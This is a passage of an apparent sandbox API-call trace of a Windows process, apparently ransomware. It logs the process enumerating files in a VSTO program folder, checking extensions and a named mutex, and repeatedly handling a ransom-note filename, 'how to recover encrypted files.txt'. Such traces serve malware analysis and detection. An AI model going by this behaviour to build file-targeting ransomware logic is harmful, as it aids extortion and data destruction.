cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config", lpUsedDefaultChar=0x0) returned 77 [0056.325] CharLowerBuffW (in: lpsz=".config", cchLength=0x7 | out: lpsz=".config") returned 0x7 [0056.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".config", cchWideChar=7, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".configred\\VSTO\\10.0\\VSTOInstaller.config", lpUsedDefaultChar=0x0) returned 7 [0056.325] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0056.325] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.325] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.325] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.325] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.325] GlobalUnlock (hMem=0x44000c) returned 0 [0056.326] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.326] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.326] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.326] GlobalUnlock (hMem=0x44000c) returned 0 [0056.326] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.326] GlobalUnlock (hMem=0x440004) returned 0 [0056.326] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.326] CharLowerBuffW (in: lpsz="VSTOInstaller.exe", cchLength=0x11 | out: lpsz="vstoinstaller.exe") returned 0x11 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exey", lpUsedDefaultChar=0x0) returned 74 [0056.327] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0056.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeShared\\VSTO\\10.0\\VSTOInstaller.exey", lpUsedDefaultChar=0x0) returned 4 [0056.327] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0056.327] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.327] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.327] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.327] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.327] GlobalUnlock (hMem=0x440004) returned 0 [0056.327] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.327] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.327] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.327] GlobalUnlock (hMem=0x440004) returned 0 [0056.327] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.327] GlobalUnlock (hMem=0x44000c) returned 0 [0056.327] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.328] CharLowerBuffW (in: lpsz="VSTOLoader.dll", cchLength=0xe | out: lpsz="vstoloader.dll") returned 0xe [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll", lpUsedDefaultChar=0x0) returned 71 [0056.328] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\VSTO\\10.0\\VSTOLoader.dll", lpUsedDefaultChar=0x0) returned 4 [0056.328] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.328] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.328] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.328] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.328] GlobalUnlock (hMem=0x44000c) returned 0 [0056.328] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.329] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.329] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.329] GlobalUnlock (hMem=0x44000c) returned 0 [0056.329] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.329] GlobalUnlock (hMem=0x440004) returned 0 [0056.329] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.329] CharLowerBuffW (in: lpsz="VSTOMessageProvider.dll", cchLength=0x17 | out: lpsz="vstomessageprovider.dll") returned 0x17 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.330] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\VSTO\\10.0\\VSTOMessageProvider.dlle", lpUsedDefaultChar=0x0) returned 4 [0056.330] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.331] GlobalLock (hMem=0x440004) returned 0x550170 [0056.331] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.331] GlobalUnlock (hMem=0x440004) returned 0 [0056.331] GlobalLock (hMem=0x440004) returned 0x550170 [0056.331] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.331] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.331] GlobalUnlock (hMem=0x440004) returned 0 [0056.331] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.331] GlobalUnlock (hMem=0x44000c) returned 0 [0056.331] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, 